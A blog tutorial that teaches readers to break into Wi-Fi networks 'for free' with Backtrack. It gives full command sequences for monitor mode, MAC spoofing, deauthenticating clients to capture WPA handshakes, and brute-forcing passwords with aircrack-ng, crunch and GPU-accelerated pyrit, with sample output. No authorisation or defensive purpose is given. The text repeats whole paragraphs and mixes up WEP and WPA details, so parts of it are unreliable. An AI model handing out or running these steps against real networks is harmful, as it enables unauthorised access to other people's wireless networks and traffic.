How to Crack Wi-Fi password using Backtrack in Windows?
Actually I was busy for some days so couldn't post on blog but now today I'm back with some Wi-Fi Hacking Tricks. Today, I'm gonna teach you how to hack Wi-Fi and crack Wi-Fi password using backtrack for free? Wi-Fi hacking is now increasing so much that a lot of even try that without knowing the basics of Wi-Fi hacking but now don't be worry, I’ll provide a complete guide on how to hack Wi-Fi password using backtrack easily and fast? So, let’s start and learn this awesome trick on Wi-Fi hacking to Crack WPA/WPA2 Wi-Fi password using Backtrack........
Things Required to Start Cracking Wi-Fi password
1. A Backtrack Live CD?
The Linux Live CD that lets you do
all sorts of security testing and tasks. Download yourself a copy of the CD and
burn it, or load it up in VMware to get started. I highly recommend you to
download backtrack 32 bit version because it runs smoothly.. Download Backtrack from here
2. A nearby WEP - enabled WiFi network
Before you start WiFi hacking using backtrack,you must have a password protected and WEP enabled WiFi network which is the basic of this hack.
Before you start WiFi hacking using backtrack,you must have a password protected and WEP enabled WiFi network which is the basic of this hack.
3. Patience and knowledge of some basics commands
The most important thing you should have is the patience as sometime the commands may not work correctly and you may not get success. That doesn't mean you should stop trying it but you must try it for more time and quiet frequently. So, keep patience and always be hopeful to get positive result. If you've got some basic knowledge on commands that is very helpful for you but you can even hack using this trick on how to crack Wi-Fi password using backtrack without having any knowledge on commanding.
4. VMware Station
VMware Workstation is a desktop visualization solution that provides power users, system administrators and developers with the necessary capabilities to run and test multiple operating systems on the same computer. To put it more simple, VMware Workstation enables you to run multiple virtual machines on your PC, allowing for extensive testing and development of complex networked server-class applications. Through its robust and powerful engine, it makes it easier for developers to introduce virtual infrastructure to a company and increase productivity. Download VMware from here
The most important thing you should have is the patience as sometime the commands may not work correctly and you may not get success. That doesn't mean you should stop trying it but you must try it for more time and quiet frequently. So, keep patience and always be hopeful to get positive result. If you've got some basic knowledge on commands that is very helpful for you but you can even hack using this trick on how to crack Wi-Fi password using backtrack without having any knowledge on commanding.
4. VMware Station
VMware Workstation is a desktop visualization solution that provides power users, system administrators and developers with the necessary capabilities to run and test multiple operating systems on the same computer. To put it more simple, VMware Workstation enables you to run multiple virtual machines on your PC, allowing for extensive testing and development of complex networked server-class applications. Through its robust and powerful engine, it makes it easier for developers to introduce virtual infrastructure to a company and increase productivity. Download VMware from here
How to Hack and Crack WiFi Password easily?
First you need to install Backtrack on Vmware and use it to get command line.You can simply install Backtrack on Vmware ( just google on how to do it ).After you have install it be ready to know how to crack WiFi passwords easily. Now be sure you typed in proper cmd line which are given below !!!
Type this according to step to start hacking WiFi.
At BOOT Menu....just type startx
Now your all set to go...just simply follow below steps...now
Step 1 :
airmon-ng
The result will be something like :
Interface Chipset Driver
wlan0 Intel 5100 iwlagn - [phy0]
Step 2 :
airmon-ng start wlan0
Step 3 (Optional) :
Change the mac address of the mon0 interface.
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
Step 4 :
airodump-ng mon0
Then, press "Ctrl+c" to break the program.
Step 5 :
airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0
*where -c is the channel
-w is the file to be written
--bssid is the BSSID
This terminal is keeping running.
Step 6 :
open another terminal.
aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0
*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step 7 :
Use the John the Ripper as word list to crack the WPA/WP2 password.
aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs
Step 8 (Optional) :ITS AN OPTIONAL STEP,,,,,,
If you do not want to use John the Ripper as word list, you can use Crunch.
Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/
Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download
tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -
*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.
(B) nVidia Display Card with CUDA
If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.
Step a :
airmon-ng
The result will be something like :
Interface Chipset Driver
wlan0 Intel 5100 iwlagn - [phy0]
Step b :
airmon-ng start wlan0
Step c (Optional) :
Change the mac address of the mon0 interface.
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
Step d :
airodump-ng mon0
Then, press "Ctrl+c" to break the program.
Step e :
airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0
Step f :
open another terminal.
aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0
*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step g :
If the following programs are not yet installed, please do it.
apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy
Step h :
Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/
Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download
tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install
Step i :
Go to the official site of pyrit.
http://code.google.com/p/pyrit/downloads/list
Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).
tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install
tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install
Step j :
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough
*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.
Step k (Optional) :
If you encounter error when reading the wpacrack-01.cap, you should do the following step.
pyrit -r wpacrack-01.cap -o new.cap stripLive
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough
*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.
Step l :
Then, you will see something similar to the following.
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)
Tried 17960898 PMKs so far; 17504 PMKs per second.
Remarks :
If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.
To test if your wireless card (either USB or PCI-e) can do the injection or not :
airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0 Make sure pyrit workable on your system :
pyrit list_cores
That's all
How to Hack and Crack WiFi Password easily ?
How to Hack and Crack WiFi Password easily ?
How to Hack and Crack WiFi Password easily ?
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